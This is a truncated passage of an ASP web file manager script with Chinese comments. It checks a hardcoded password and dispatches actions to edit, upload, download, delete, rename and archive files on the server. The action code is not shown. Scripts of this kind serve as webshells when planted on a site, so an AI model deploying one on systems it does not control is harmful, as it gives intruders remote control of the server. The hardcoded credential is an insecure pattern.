<style type="text/css">
<!--
a {
 font-size: 9pt;
 color: #3300CC;
 text-decoration: none;
}
body {
 font-size: 9pt;
 margin-left: 0px;
 margin-top: 0px;
 margin-right: 0px;
 margin-bottom: 0px;
 line-height: 20px;
 background-color: #EEEEEE;
}
td {
 font-size: 9pt;
 line-height: 20px;
}
.tx {
 border-color:#000000;
 border-left-width: 0px;
 border-top-width: 0px;
 border-right-width: 0px;
 border-bottom-width: 1px;
 font-size: 9pt;
 background-color: #EEEEEE;
}
.tx1 {
 font-size: 9pt;
 border: 1px solid;
 border-color:#000000;
 color: #000000;
}
-->
</style>
<%

'版权声明：本代码仅供学习研究之用，本人不对因使用本程序而造成的任何后果负责。未经作者书面许可不得用于商业用途。
'QQ：103895
'email:quxiaohui_0@163.com
'http://asp2004.net

Server.ScriptTimeout = 999
action = Request("action")
temp = Split(Request.ServerVariables("URL"), "/")
url = temp(UBound(temp))

Const pass = "asp2004.net"'登陆密码

'登陆验证
Call ChkLogin()

Set fso = CreateObject("Scripting.FileSystemObject")

Select Case action
    Case "新建文件"
        Call fileform(Request("path")&"\")
    Case "savefile"
        Call savefile(Request("filename"), Request("content"), Request("filename1"))
    Case "新建文件夹"
        Call newfolder(Request("path")&"\")
    Case "savefolder"
        Call savefolder(Request("foldername"))
    Case "编辑"
        Call edit(Request("f"))
    Case "重命名"
        Call renameform(Request("f"))
    Case "saverename"
        Call rename(Request("oldname"), Request("newname"))
    Case "剪切"
        session("f") = request("f")
        session("action") = action
        Response.Redirect(url&"?foldername="&Request("path"))
    Case "复制"
        session("f") = request("f")
        session("action") = action
        Response.Redirect(url&"?foldername="&Request("path"))
    Case "粘贴"
        Call affix(Request("path")&"\")
    Case "删除"
        Call Delete( request("f"), Request("path") )
    Case "uploadform"
        Call uploadform(Request("filepath"), Request("path"))
    Case "saveupload"
        Call saveupload()
    Case "下载"
        Call download(request("f"))
    Case "打包"
        Dim Str, s, s1, s2, rep
        Call Dabao( Request("f"), Request("path") )
    Case "解包"
        Call Jiebao(Request("f"), Request("path"))
    Case "退出"
        Call logout()
    Case Else
        Path = Request("foldername")
        If Path = "" Then Path = server.MapPath("./")
   &nbs